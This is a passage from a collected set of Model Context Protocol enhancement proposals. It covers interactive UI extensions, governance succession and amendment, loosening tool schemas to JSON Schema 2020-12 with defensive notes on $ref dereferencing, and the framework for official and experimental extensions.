requirements.
| Field | Value |
| ------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **SEP** | 1865 |
| **Title** | MCP Apps - Interactive User Interfaces for MCP |
| **Status** | Final |
| **Type** | Extensions Track |
| **Created** | 2025-11-21 |
| **Author(s)** | Ido Salomon ([@idosal](https://github.com/idosal)), Liad Yosef ([@liadyosef](https://github.com/liadyosef)), Olivier Chafik ([@olivierchafik](https://github.com/olivierchafik)), Jerome Swannack ([@jeromeswannack](https://github.com/jeromeswannack)), Jonathan Hefner ([@jonathanhefner](https://github.com/jonathanhefner)), Anton Pidkuiko ([@antonpidkuiko](https://github.com/antonpidkuiko)), Nick Cooper ([@nickcooper](https://github.com/nickcooper)), Bryan Ashley ([@bryanashley](https://github.com/bryanashley)), Alexi Christakis ([@alexichristakis](https://github.com/alexichristakis)) |
| **Sponsor** | None (seeking sponsor) |
| **PR** | [#1865](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/1865) |
***
## Abstract
This SEP proposes an extension to MCP (per SEP-1724) that enables servers to deliver interactive
user interfaces to hosts. MCP Apps introduces a standardized pattern for declaring UI resources via
the `ui://` URI scheme, associating them with tools through metadata, and facilitating
bi-directional communication between the UI and the host using MCP's JSON-RPC base protocol. This
extension addresses the growing community need for rich, interactive experiences in MCP-enabled
applications, maintaining security, auditability, and alignment with MCP's core architecture. The
initial specification focuses on HTML resources (`text/html;profile=mcp-app`) with a clear path for
future extensions.
## Motivation
MCP lacks a standardized way for servers to deliver rich, interactive user interfaces to hosts.
This gap blocks many use cases that require visual presentation and interactivity that go beyond
plain text or structured data. As more hosts adopt this capability, the risk of fragmentation and
interoperability challenges grows.
[MCP-UI](https://mcpui.dev/) has demonstrated the viability and value of MCP apps built on UI
resources and serves as a community playground for the UI spec and SDK. Fueled by a dedicated
community, it developed the bi-directional communication model and the HTML, external URL, and
remote DOM content types. MCP-UI's adopters, including hosts and providers such as Postman,
HuggingFace, Shopify, Goose, and ElevenLabs, have provided critical insights and contributions to
the community.
OpenAI's [Apps SDK](https://developers.openai.com/apps-sdk/), launched in November 2025, further
validated the demand for rich UI experiences within conversational AI interfaces. The Apps SDK
enables developers to build rich, interactive applications inside ChatGPT using MCP as its
backbone.
The architecture of both the Apps SDK and MCP-UI has significantly informed the design of this
specification.
However, without formal standardization:
* Servers cannot reliably expect UI support via MCP
* Each host may implement slightly different behaviors
* Security and auditability patterns are inconsistent
* Developers must maintain separate implementations or adapters for different hosts (e.g., MCP-UI
vs. Apps SDK)
This SEP addresses the current limitations through an optional, backwards-compatible extension that
unifies the approaches pioneered by MCP-UI and the Apps SDK into a single, open standard.
## Specification
The full specification can be found at
[modelcontextprotocol/ext-apps](https://github.com/modelcontextprotocol/ext-apps/blob/main/specification/draft/apps.mdx).
At a high level, MCP Apps extends the Model Context Protocol to enable servers to deliver
interactive user interfaces to hosts. This extension introduces:
* **UI Resources:** Predeclared resources using the `ui://` URI scheme
* **Resource Discovery:** Tools reference UI resources via metadata
* **Bi-directional Communication:** UI iframes communicate with hosts using standard MCP JSON-RPC
protocol
* **Security Model:** Mandatory iframe sandboxing with auditable communication
This specification focuses on HTML content (`text/html;profile=mcp-app`) as the initial content
type, with extensibility for future formats.
As an extension, MCP Apps is optional and must be explicitly negotiated between clients and servers
through the extension capabilities mechanism (see Capability Negotiation section in the
[full specification](https://github.com/modelcontextprotocol/ext-apps/blob/main/specification/draft/apps.mdx)).
## Rationale
### Predeclared resources vs. inline embedding
UI is modeled as predeclared resources (`ui://`), referenced by tools via metadata. This allows:
* Hosts to prefetch templates before tool execution, improving performance
* Separation of presentation (template) from data (tool results), facilitating caching
* Security review of UI resources
**Alternatives considered:**
* **Embedded resources:** Current MCP-UI approach, where resources are returned in tool results.
Although it's more convenient for server development, it was deferred due to the gaps in
performance optimization and the challenges in the UI review process.
* **Resource links:** Predeclare the resources but return links in tool results. Deferred due to
the gaps in performance optimization.
### Reusing MCP JSON-RPC instead of a custom protocol
Reuses existing MCP infrastructure (type definitions, SDKs, etc.). JSON-RPC offers advanced
capabilities (timeouts, errors, etc.).
**Alternatives considered:**
* **Custom message protocol:** Current MCP-UI approach with message types like tool, intent,
prompt, etc. These message types can be translated to a subset of the proposed JSON-RPC messages.
* **Global API object:** Rejected because it requires host-specific injection and doesn't work with
external iframe sources. Syntactic sugar may still be added on the server/UI side.
### HTML-only MVP
* HTML is universally supported and well-understood
* Simplest security model (standard iframe sandbox)
* Allows screenshot/preview generation (e.g., via html2canvas)
* Sufficient for most observed use cases
* Provides a clear baseline for future extensions
**Alternatives considered:**
* **Include external URLs in MVP:** This is one of the easiest content types for servers to adopt,
as it's possible to embed regular apps. However, it was deferred due to concerns around model
visibility, inability to screenshot content, and review process. It may effectively be supported
with the SEP's new `externalIframes` capability.
## Backward Compatibility
The proposal is an optional extension to the core protocol. Existing implementations continue
working without changes.
## Security Implications
Hosting interactive UI content from potentially untrusted MCP servers requires careful security
consideration.
Based on the threat model, MCP Apps proposes the following mitigations:
* **Iframe sandboxing**: All UI content runs in sandboxed iframes with restricted permissions
* **Predeclared templates**: Hosts can review HTML content before rendering
* **Auditable messages**: All UI-to-host communication goes through loggable JSON-RPC
* **User consent**: Hosts can require explicit approval for UI-initiated tool calls
A full threat model analysis and mitigations are available in the
[full specification](https://github.com/modelcontextprotocol/ext-apps/blob/main/specification/draft/apps.mdx).
## Reference Implementation
* [MCP-UI](https://github.com/idosal/mcp-ui) client and server SDKs support the patterns proposed
in this spec.
* [ext-apps](https://github.com/modelcontextprotocol/ext-apps) repository contains a prototype
implementation by Olivier Chafik.
# SEP-2085: Governance Succession and Amendment Procedures
Source: https://modelcontextprotocol.io/seps/2085-governance-succession-and-amendment
Governance Succession and Amendment Procedures
Final
Process
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ------------------------------------------------------------------------------- |
| **SEP** | 2085 |
| **Title** | Governance Succession and Amendment Procedures |
| **Status** | Final |
| **Type** | Process |
| **Created** | 2025-12-05 |
| **Author(s)** | David Soria Parra ([@dsp-ant](https://github.com/dsp-ant)) |
| **Sponsor** | David Soria Parra ([@dsp-ant](https://github.com/dsp-ant)) |
| **PR** | [#2085](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2085) |
***
## Abstract
This SEP establishes formal procedures for Lead Maintainer succession and governance amendment within the Model Context Protocol project. It defines clear processes for leadership transitions when a Lead Maintainer leaves their role and establishes requirements for proposing and approving changes to the governance structure itself.
## Motivation
The current MCP governance structure defines roles and responsibilities but lacks explicit procedures for two critical scenarios:
1. **Leadership Succession**: The governance document identifies Justin Spahr-Summers and David Soria Parra as Lead Maintainers (BDFLs) but does not specify what happens if one or both leave their roles. Without a defined succession process, an unexpected departure could create uncertainty about project leadership and decision-making authority.
2. **Governance Evolution**: As the MCP project grows and the community evolves, the governance structure may need to adapt. Currently, there is no defined process for how the governance document itself can be amended, which could lead to ad-hoc changes without proper community input or unclear authority for making such changes.
Establishing these procedures now, while the project leadership is stable, ensures continuity and provides clear guidance for future scenarios.
## Specification
The following sections shall be added to the MCP Governance document.
### Succession
If a Lead Maintainer leaves their role for any reason, the succession process begins upon their written notice or, if unable to provide notice, upon a determination by the remaining Lead Maintainer(s) or Core Maintainers that the Lead Maintainer is unable to continue serving.
If one or more Lead Maintainer(s) remain, they shall appoint a successor (by majority vote if multiple), and the remaining Lead Maintainer(s) will continue to govern until a successor is appointed.
If no Lead Maintainers remain, the Core Maintainers shall appoint a successor by majority vote within 30 days, and the project operates by two-thirds vote of Core Maintainers until a new Lead Maintainer is appointed.
### Amendment
Amendments to this governance structure may only be proposed by Lead Maintainers. Any proposed amendment must be approved by a two-thirds (2/3) majority of all Core Maintainers to take effect.
Amendment proposals shall:
1. Be submitted in writing with clear rationale for the proposed change
2. Include specific language describing the modification to existing governance provisions
3. Allow for a minimum comment period of five (5) days before voting
4. Be decided by recorded vote of Core Maintainers
## Rationale
### Succession Process Design
The succession process is designed with several principles in mind:
* **Continuity**: Remaining Lead Maintainers can continue operating and appoint successors without disruption to project governance.
* **Fallback Authority**: If all Lead Maintainers depart, Core Maintainers have clear authority to select new leadership, preventing a governance vacuum.
* **Time-Bound Process**: The 30-day requirement ensures succession happens promptly while allowing adequate time for deliberation.
* **Supermajority Interim Governance**: Two-thirds voting during interregnum periods ensures major decisions have broad support during transitional periods.
### Amendment Process Design
The amendment process balances stability with adaptability:
* **Lead Maintainer Proposal Authority**: Limiting proposal authority to Lead Maintainers prevents governance churn from frequent amendment proposals while ensuring those with deepest project investment can drive necessary changes.
* **Core Maintainer Approval**: Requiring two-thirds Core Maintainer approval ensures amendments have broad support from those actively governing the project.
* **Comment Period**: The five-day minimum comment period allows affected parties to review and provide input before voting.
* **Recorded Votes**: Transparency in voting ensures accountability and provides a historical record of governance decisions.
### Alternatives Considered
**Succession by Election**: An open election process was considered but rejected as potentially disruptive and slow during critical transition periods. The current proposal allows for quick succession while maintaining checks through the existing maintainer structure.
**Amendment by Any Maintainer**: Allowing any maintainer to propose amendments was considered but could lead to governance instability. The current approach balances stability with the ability to evolve.
**Longer Comment Periods**: Longer comment periods (e.g., 30 days) were considered but deemed excessive for a project that already has regular bi-weekly Core Maintainer meetings. Five days allows for at least one meeting cycle while enabling timely decisions.
## Backward Compatibility
This SEP adds new procedures without modifying existing governance structures. No backward compatibility concerns exist.
## Security Implications
This SEP has no direct security implications. However, clear succession procedures indirectly support security by ensuring continuous responsible stewardship of the project, including security-related decisions.
## Reference Implementation
Upon acceptance, this SEP will be implemented by adding the Succession and Amendment sections to `docs/community/governance.mdx`. The new sections will be inserted after the "Lead Maintainers (BDFL)" section and before the "Decision Process" section.
A draft pull request implementing these changes will be linked here once available.
# SEP-2106: Tools `inputSchema` & `outputSchema` Conform to JSON Schema 2020-12
Source: https://modelcontextprotocol.io/seps/2106-json-schema-2020-12
Tools `inputSchema` & `outputSchema` Conform to JSON Schema 2020-12
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **SEP** | 2106 |
| **Title** | Tools `inputSchema` & `outputSchema` Conform to JSON Schema 2020-12 |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2026-01-06 |
| **Author(s)** | John McBride ([@jpmcb](https://github.com/jpmcb)) — original proposal; Ola Hungerford ([@olaservo](https://github.com/olaservo)) — current shepherd, post-SEP-1850 conversion |
| **Sponsor** | Ola Hungerford ([@olaservo](https://github.com/olaservo)) |
| **PR** | [#2106](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2106) |
***
## Abstract
This SEP proposes loosening the restrictions on `inputSchema`, `outputSchema`, and `structuredContent` to better support JSON Schema 2020-12. Specifically:
* **`inputSchema`**: Keeps `type: "object"` required (since tool arguments are objects), but allows any additional JSON Schema properties to support powerful validation compositions (`anyOf`, `oneOf`, `allOf`, etc.)
* **`outputSchema`**: Fully supports JSON Schema 2020-12 since MCP servers may return any valid JSON
* **`structuredContent`**: Accepts any JSON value validated by `outputSchema`
This proposal enables MCP servers to leverage the expressiveness of JSON Schema 2020-12 while maintaining backward compatibility with existing implementations.
## Motivation
The current MCP specification restricts tool schemas in ways that conflict with full JSON Schema support:
1. **inputSchema restriction**: Currently only allows `type`, `properties`, and `required` fields. This prevents use of composition keywords like `anyOf`, `oneOf`, and `allOf` for sophisticated object validation patterns.
2. **outputSchema restriction**: Also restricted to `type: "object"` with only `properties` and `required`, despite the specification claiming to support "JSON Schema."
3. **structuredContent restriction**: Defined as `{ [key: string]: unknown }` (an object with string keys), which prevents returning arrays—a common API response pattern.
### Real-World Impact
Consider a weather API tool that returns hourly forecasts:
```json theme={null}
[
{ "hour": "09:00", "temp": 68, "conditions": "sunny" },
{ "hour": "10:00", "temp": 72, "conditions": "partly cloudy" },
{ "hour": "11:00", "temp": 75, "conditions": "cloudy" }
]
```
Currently, this natural array response is **impossible** because `structuredContent` must be an object. Developers are forced to wrap arrays in unnecessary container objects:
```json theme={null}
{
"forecasts": [
{ "hour": "09:00", "temp": 68, "conditions": "sunny" },
...
]
}
```
This artificial constraint:
* Adds unnecessary nesting to responses
* Conflicts with common REST API patterns
* Prevents direct schema validation of array responses
### Schema Composition Use Cases
The current `inputSchema` restriction prevents legitimate schema patterns. With this SEP, tools can use composition keywords alongside `type: "object"`:
```json theme={null}
{
"type": "object",
"oneOf": [
{ "properties": { "id": { "type": "string" } }, "required": ["id"] },
{ "properties": { "name": { "type": "string" } }, "required": ["name"] }
]
}
```
This pattern allows a tool to accept either an ID-based or name-based lookup—a common API design that is currently unsupported because the schema only allows `type`, `properties`, and `required` fields.
## Specification
### 1. Loosen inputSchema
**Current definition:**
```typescript theme={null}
inputSchema: {
type: "object";
properties?: { [key: string]: object };
required?: string[];
};
```
**Proposed definition:**
```typescript theme={null}
inputSchema: {
$schema?: string;
type: "object";
[key: string]: unknown;
};
```
The `inputSchema` field retains the `type: "object"` requirement (since tool arguments are always objects), but now accepts any additional JSON Schema properties. This enables:
* Composition keywords: `anyOf`, `oneOf`, `allOf`, `not`
* Conditional schemas: `if`/`then`/`else`
* Reference schemas: `$ref`, `$defs`
* Any other valid JSON Schema 2020-12 keywords
### 2. Loosen outputSchema
**Current definition:**
```typescript theme={null}
outputSchema?: {
type: "object";
properties?: { [key: string]: object };
required?: string[];
};
```
**Proposed definition:**
```typescript theme={null}
outputSchema?: {
$schema?: string;
[key: string]: unknown;
};
```
The `outputSchema` field accepts any valid JSON Schema 2020-12 object, enabling schemas that validate arrays, primitives, or complex compositions. Unlike `inputSchema`, there is no `type: "object"` requirement since tool outputs can be any valid JSON.
### 3. Loosen structuredContent
**Current definition:**
```typescript theme={null}
structuredContent?: { [key: string]: unknown };
```
**Proposed definition:**
```typescript theme={null}
structuredContent?: unknown;
```
The `structuredContent` field accepts any valid JSON value that conforms to the tool's `outputSchema`. This includes:
* Objects: `{ "key": "value" }`
* Arrays: `[1, 2, 3]` or `[{ "id": "abc" }, { "id": "xyz" }]`
* Primitives: `"string"`, `42`, `true`, `null`
### 4. Documentation Updates
Update `docs/specification/draft/server/tools.mdx`:
* Remove statement that `structuredContent` is "returned as a JSON object"
* Clarify that `structuredContent` can be any JSON value conforming to `outputSchema`
* Add examples demonstrating array responses
### 5. Examples
#### Tool returning an array of objects:
```json theme={null}
{
"name": "list_users",
"description": "List all users in the system",
"inputSchema": {
"type": "object",
"properties": {
"limit": { "type": "integer", "minimum": 1, "maximum": 100 }
}
},
"outputSchema": {
"type": "array",
"items": {
"type": "object",
"properties": {
"id": { "type": "string" },
"name": { "type": "string" },
"email": { "type": "string", "format": "email" }
},
"required": ["id", "name"]
}
}
}
```
Response:
```json theme={null}
{
"content": [
{
"type": "text",
"text": "Found 2 users: Alice (u1, alice@example.com) and Bob (u2, bob@example.com)."
}
],
"structuredContent": [
{ "id": "u1", "name": "Alice", "email": "alice@example.com" },
{ "id": "u2", "name": "Bob", "email": "bob@example.com" }
]
}
```
#### Tool with composition schema:
```json theme={null}
{
"name": "find_resource",
"description": "Find a resource by ID or name",
"inputSchema": {
"type": "object",
"oneOf": [
{
"properties": { "id": { "type": "string", "format": "uuid" } },
"required": ["id"]
},
{
"properties": { "name": { "type": "string", "minLength": 1 } },
"required": ["name"]
}
]
}
}
```
## Rationale
### Why not just allow arrays?
While we could simply extend `structuredContent` to allow arrays, this would be an incomplete solution. The root cause is that the schema types are artificially restricted to `type: "object"`. By allowing any valid JSON Schema, we:
1. Enable the full power of JSON Schema 2020-12
2. Align with the specification's claim of JSON Schema support
3. Provide a consistent, principled approach rather than piecemeal fixes
### Why not require a wrapper object?
Requiring arrays to be wrapped in objects (e.g., `{ "items": [...] }`) was considered but rejected because:
1. It adds unnecessary complexity to responses
2. It conflicts with common API design patterns
3. It prevents direct schema validation of the actual response structure
4. JSON Schema already handles array validation elegantly
### Real-World API Patterns
Many production APIs return arrays directly:
* **GitHub Events API**: Returns arrays of event objects
* **AccuWeather Search API**: Returns arrays of location matches
* **REST collection endpoints**: Standard `GET /users` returns `[{...}, {...}]`
Forcing wrapper objects creates friction for developers integrating existing APIs with MCP. Generic JSON Schema validation libraries should work without MCP-specific customization.
### Alignment with JSON Schema 2020-12
JSON Schema 2020-12 provides powerful features for schema composition and validation. By removing artificial restrictions, MCP aligns with industry standards (OpenAPI 3.1 uses JSON Schema 2020-12) and enables developers to leverage existing JSON Schema knowledge and tooling.
### SDK Ecosystem Evidence
The friction caused by current restrictions is not theoretical. FastMCP, one of the most popular Python SDKs for MCP, has implemented extensive workarounds:
1. **Explicit error messages** acknowledge the limitation:
```python theme={null}
raise ValueError(
f"Output schemas must represent object types due to MCP spec limitations."
)
```
2. **Auto-wrapping infrastructure** adds complexity:
* A `_WrappedResult` dataclass wraps non-object returns
* A custom `x-fastmcp-wrap-result` extension enables client-side unwrapping
* Both SDK and client need matching wrap/unwrap logic
3. **Real bugs** have resulted from these workarounds:
* Issue #2455: `$ref` schemas without `type: object` broke ALL tools on the server
* Issue #2421: Unexpected `{"result": ...}` wrapping confused users
This demonstrates that the current restrictions create genuine ecosystem friction that SEP-2106 would eliminate.
### OpenAPI Precedent
The OpenAPI specification went through a similar evolution. OpenAPI 3.0 used an "extended subset" of JSON Schema with custom restrictions (like requiring `nullable: true` instead of allowing `"null"` as a type).
OpenAPI 3.1 made the strategic decision to fully align with JSON Schema 2020-12, accepting breaking changes to eliminate the friction. The result: better tooling compatibility and less ecosystem confusion.
| OpenAPI's Problem | MCP's Parallel |
| ----------------------------------- | ----------------------------------------- |
| `type` must be string, not array | `inputSchema` only allows specific fields |
| Couldn't use standard null handling | Can't use `oneOf`/`anyOf` in schemas |
| Custom `nullable` keyword | Object-only `structuredContent` |
| Caused tooling confusion | Causes SDK workarounds |
MCP can learn from OpenAPI's experience rather than repeating the same evolution over several years.
## Backward Compatibility
This change is **wire-format backward compatible** but has nuances depending on the direction of the version mismatch.
### Compatibility Matrix
| | New client (post-SEP) | Old client (pre-SEP) |
| ------------------------- | ------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------- |
| **New server (post-SEP)** | Fully compatible. | Compatible **only when the server returns object-typed `structuredContent`**. Arrays/primitives in `structuredContent` may break. |
| **Old server (pre-SEP)** | Fully compatible. Existing object-only schemas remain valid. | Unchanged. |
The asymmetry: a new server that takes advantage of array or primitive `structuredContent` (or composition keywords in `inputSchema`) cannot assume an old client will accept the response. Old clients written against the previous wire format may reject `structuredContent` that is not a JSON object, or fail to validate `inputSchema` containing keywords beyond `type`/`properties`/`required`.
To remain interoperable with older clients, **servers using array or primitive `structuredContent` MUST also emit a `TextContent` block containing the serialized JSON** (as already recommended in the tools specification). Clients that do not understand non-object `structuredContent` can fall back to the text content.
### TypeScript / SDK Migration
Widening the `structuredContent` field type from `{ [key: string]: unknown }` to `unknown` is a **source-breaking change for typed consumers**, even though the wire format is unchanged. Code such as:
```typescript theme={null}
const result = await client.callTool({ name: "get_weather", arguments: { ... } });
const temp = result.structuredContent?.temperature; // previously compiled (type: unknown)
const city = result.structuredContent?.["city"] as string; // previously compiled
```
will no longer type-check after the change, because TypeScript forbids property access on `unknown` without a narrowing guard:
```typescript theme={null}
const sc = result.structuredContent;
if (sc && typeof sc === "object" && !Array.isArray(sc)) {
const temp = (sc as Record).temperature;
}
```
This break is intentional — the previous type was a lie whenever a tool returned a non-object — but SDK maintainers SHOULD:
* Document the migration in SDK release notes.
* Where ergonomic, provide typed helpers (e.g. generics over a tool's `outputSchema`) so consumers do not need to write narrowing guards by hand.
### Migration Path
* **Servers**: No migration is required to keep working as before. To use array or primitive `structuredContent`, also emit a serialized `TextContent` fallback.
* **Clients**: Old clients continue to work against object-only servers. To consume the new flexibility, accept any JSON value in `structuredContent` and validate against `outputSchema` if present.
* **SDKs**: Update generated types to mirror the new schema (`unknown` for `structuredContent`, open-ended `inputSchema`/`outputSchema`) and call out the source-breaking type change in release notes.
## Security Implications
JSON Schema validation already handles type checking, value constraints, and required field validation, and implementations MUST continue to validate all inputs and outputs against declared schemas. Allowing the full JSON Schema 2020-12 vocabulary surfaces two areas that warrant explicit guidance.
### `$ref` Dereferencing (SSRF and Fetch-DoS)
JSON Schema 2020-12 permits `$ref` to point at an absolute URI, not just a JSON Pointer into the same document. A naive implementation that resolves every `$ref` it encounters by issuing an HTTP request gives an attacker a server-side request forgery / fetch amplification primitive: a malicious tool definition can cause the host to fetch arbitrary URLs, including internal metadata endpoints or large payloads designed to exhaust resources.
To mitigate this:
* Implementations **MUST NOT** automatically dereference `$ref` values that resolve to a network URI (i.e. anything that is not a same-document JSON Pointer such as `#/$defs/Foo` or an internal `$anchor`).
* "Automatically" here means "as part of normal validation or schema processing, without explicit operator action." Implementations **MAY** offer an opt-in mode that fetches non-local `$ref`s, but it MUST be disabled by default and SHOULD enforce an allowlist of hosts (or at minimum reject loopback, link-local, and private network addresses), apply timeouts and size limits, and log dereferenced URIs.
* Schemas that fail to validate due to an unresolved external `$ref` SHOULD be rejected rather than silently treated as permissive.
### Composition-Keyword Resource Use
Composition keywords (`anyOf`, `oneOf`, `allOf`, `if`/`then`/`else`) and `$defs` enable expressive schemas, but pathological combinations can be expensive to validate. Implementations SHOULD apply reasonable bounds — for example, a maximum schema depth, a cap on the total number of subschemas, or a per-validation time budget — to prevent a malicious tool definition from acting as a CPU DoS vector against the validator.
## Reference Implementation
### TypeScript SDK
A reference implementation demonstrating the loosened type restrictions:
* **Branch**: [olaservo/typescript-sdk@sep-834-v1x](https://github.com/olaservo/typescript-sdk/tree/sep-834-v1x)
* **npm**: `@olaservo/mcp-sdk@1.25.2-sep834.4`
* **Key changes**:
* `inputSchema`: Retains `type: "object"` but allows any additional JSON Schema properties (compositions like `oneOf`/`anyOf`)
* `outputSchema`: Any valid JSON Schema object (arrays, primitives, objects, compositions)
* `structuredContent`: Any JSON value (objects, arrays, or primitives)
* McpServer high-level API updated to support array and primitive outputSchema
### Everything Server Demo Tools
Three demo tools added to the `everything` server demonstrating SEP-2106 capabilities:
* **Branch**: [olaservo/servers@sep-834-json-schema-2020-12](https://github.com/olaservo/servers/tree/sep-834-json-schema-2020-12/src/everything)
* **npm**: `@olaservo/mcp-server-everything-sep834@1.1.0-sep834.1`
* **Tools**:
* `get-weather-forecast`: Returns **raw array** of hourly forecasts directly in `structuredContent`
* Matches the exact example from SEP-2106's Motivation section
* `outputSchema`: `z.array(HourlyForecastSchema)` - array type at root
* `structuredContent`: `[{hour, temp, conditions}, ...]` - direct array
* `find-by-id-or-name`: Demonstrates flexible input patterns (accepts `id` OR `name`)
* `get-count`: Returns **raw number** directly in `structuredContent` (not wrapped in object)
* `outputSchema`: `z.number()` - primitive type at root
* `structuredContent`: `42` - direct primitive
### Related Links
* Original PR: [https://github.com/modelcontextprotocol/modelcontextprotocol/pull/881](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/881)
* Related issue: [https://github.com/modelcontextprotocol/modelcontextprotocol/issues/834](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/834)
* `outputSchema` type restriction inconsistency: [https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1906](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1906)
* TypeScript SDK schema types: [https://github.com/modelcontextprotocol/typescript-sdk/issues/1149](https://github.com/modelcontextprotocol/typescript-sdk/issues/1149)
* SEP-2200 (Clarify Tool Result Content and Model Visibility): [https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2200](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2200)
### Implementation Guidance
SDK implementations will need to:
1. Update `inputSchema` types to retain `type: "object"` but allow any additional JSON Schema properties
2. Update `outputSchema` types to allow any valid JSON Schema (remove `type: "object"` constraint)
3. Update `structuredContent` types to accept any valid JSON value
4. Update JSON Schema definitions accordingly
## Acknowledgments
This proposal builds on discussions in GitHub issue #834 and incorporates feedback from the MCP community.
# SEP-2133: Extensions
Source: https://modelcontextprotocol.io/seps/2133-extensions
Extensions
Final
Standards Track
This SEP has reached Final status and is preserved as a historical record of
the design as accepted. Changes made to the protocol after finalization are
not reflected here. Refer to the [current
specification](/specification/latest) and its changelog for authoritative
requirements.
| Field | Value |
| ------------- | ------------------------------------------------------------------------------- |
| **SEP** | 2133 |
| **Title** | Extensions |
| **Status** | Final |
| **Type** | Standards Track |
| **Created** | 2025-01-21 |
| **Author(s)** | Peter Alexander ([@pja-ant](https://github.com/pja-ant)) |
| **Sponsor** | None (seeking sponsor) |
| **PR** | [#2133](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2133) |
***
## Abstract
This SEP establishes a lightweight framework for extending the Model Context Protocol through optional, composable extensions. This proposal defines a governance model and presentation structure for extensions that allows the MCP ecosystem to evolve while maintaining core protocol stability. Extensions enable experimentation with new capabilities without forcing adoption across all implementations, providing clear extension points for the community to propose, review, and adopt enhanced functionality.
This SEP defines both official extensions (maintained by MCP maintainers) and experimental extensions (an incubation pathway for Working Groups and Interest Groups to prototype and collaborate on extension ideas before formal acceptance). Externally maintained extensions will likely come at a later stage.
## Motivation
MCP currently lacks any form of guidance on how extensions are to be proposed or adopted. Without a process, it is unclear how these extensions are governed, what expectations there are around implementation, how they should be referenced in the specification, etc.
## Specification
### Definition
An MCP extension is an optional addition to the specification that defines capabilities beyond the core protocol. Extensions enable functionality that may be modular (e.g., distinct features like authentication), specialized (e.g., industry-specific logic), or experimental (e.g., features being incubated for potential core inclusion).
Extensions are identified using a unique *extension identifier* with the format: `{vendor-prefix}/{extension-name}`, e.g. `io.modelcontextprotocol/oauth-client-credentials` or `com.example/websocket-transport`. The names follow the same rules as the [\_meta keys](https://modelcontextprotocol.io/specification/draft/basic/index#meta), except that the prefix is mandatory.
To prevent identifier collisions, the vendor prefix SHOULD be a reversed domain name that the extension author owns or controls (similar to Java package naming conventions). For example, a company owning `example.com` would use `com.example/` as their prefix.
Breaking changes MUST use a new identifier, e.g. `io.modelcontextprotocol/oauth-client-credentials-v2`. A breaking change is any modification that would cause existing compliant implementations to fail or behave incorrectly, including: removing or renaming fields, changing field types, altering the semantics of existing behavior, or adding new required fields.
Extensions may have settings that are sent in client/server messages for fine-grained configuration.
This SEP defines *Official Extensions* and *Experimental Extensions*. Experimental extensions are maintained within the MCP organization as an incubation pathway but are not yet officially accepted. *Unofficial extensions* are not recognized by MCP governance and may be introduced and governed by developers outside the MCP organization.
### Official Extensions
Official extensions live inside the MCP github org at [https://github.com/modelcontextprotocol/](https://github.com/modelcontextprotocol/) and are officially developed and recommended by MCP maintainers. Official extensions use the `io.modelcontextprotocol` vendor prefix in their extension identifiers.
An *extension repository* is a repository within the official modelcontextprotocol github org with the `ext-` prefix, e.g. [https://github.com/modelcontextprotocol/ext-auth](https://github.com/modelcontextprotocol/ext-auth).
* Extension repositories are created at the core maintainers discretion with the purpose of grouping extensions in a specific area (e.g. auth, transport, financial services).
* A repository has a set of maintainers (identified by MAINTAINERS.md) appointed by the core maintainers that are responsible for the repository and extensions within it (e.g. [ext-auth MAINTAINERS.md](https://github.com/modelcontextprotocol/ext-auth/blob/main/MAINTAINERS.md), [ext-apps MAINTAINERS.md](https://github.com/modelcontextprotocol/ext-apps/blob/main/MAINTAINERS.md)).
* Extensions SHOULD have an associated working group or interest group to guide their development and gather community input.
An *extension* is a versioned specification document within an extension repository, e.g. [https://github.com/modelcontextprotocol/ext-auth/blob/main/specification/draft/oauth-client-credentials.mdx](https://github.com/modelcontextprotocol/ext-auth/blob/main/specification/draft/oauth-client-credentials.mdx)
* Extension specifications MUST use the same language as the core specification (i.e. \[[BCP 14](https://www.rfc-editor.org/info/bcp14)] \[[RFC2119](https://datatracker.ietf.org/doc/html/rfc2119)] \[[RFC8174](https://datatracker.ietf.org/doc/html/rfc8174)]) and SHOULD be worded as if they were part of the core specification.
While day-to-day governance is delegated to extension repository maintainers, the core maintainers retain ultimate authority over official extensions, including the ability to modify, deprecate, or remove any extension.
### Experimental Extensions
Experimental extensions provide an incubation pathway for Working Groups (WGs) and Interest Groups (IGs) to facilitate discovery, prototype ideas, and collaborate on extension concepts before formal SEP submission. Experimental extensions allow cross-company collaboration under neutral governance with clear anti-trust protection and IP clarity.
An *experimental extension repository* is a repository within the official modelcontextprotocol github org with the `experimental-ext-` prefix, e.g. `https://github.com/modelcontextprotocol/experimental-ext-interceptors`.
* Any maintainer MAY create an experimental extension repository while the associated SEP is still in draft state (or before a SEP has been submitted).
* Experimental extensions MUST be associated with a Working Group or Interest Group, whose maintainers are responsible for day-to-day governance of the repository.
* Experimental extension repositories MUST clearly indicate their experimental/non-official status (e.g., in the README) to avoid confusion with official extensions.
* Any published packages from experimental extensions MUST use naming that clearly indicates their experimental status.
* Core maintainers retain oversight of experimental extension repositories, including the ability to archive or remove them.
To graduate an experimental extension to official status, the standard SEP process (Extensions Track) applies. The experimental repository and any reference implementations developed during incubation MAY be referenced in the SEP to demonstrate the extension's practicality.
### Lifecycle
#### Creation
Extensions MAY optionally begin as experimental extensions (see *Experimental Extensions* section) to facilitate prototyping and collaboration before formal submission. This incubation period is encouraged but not required.
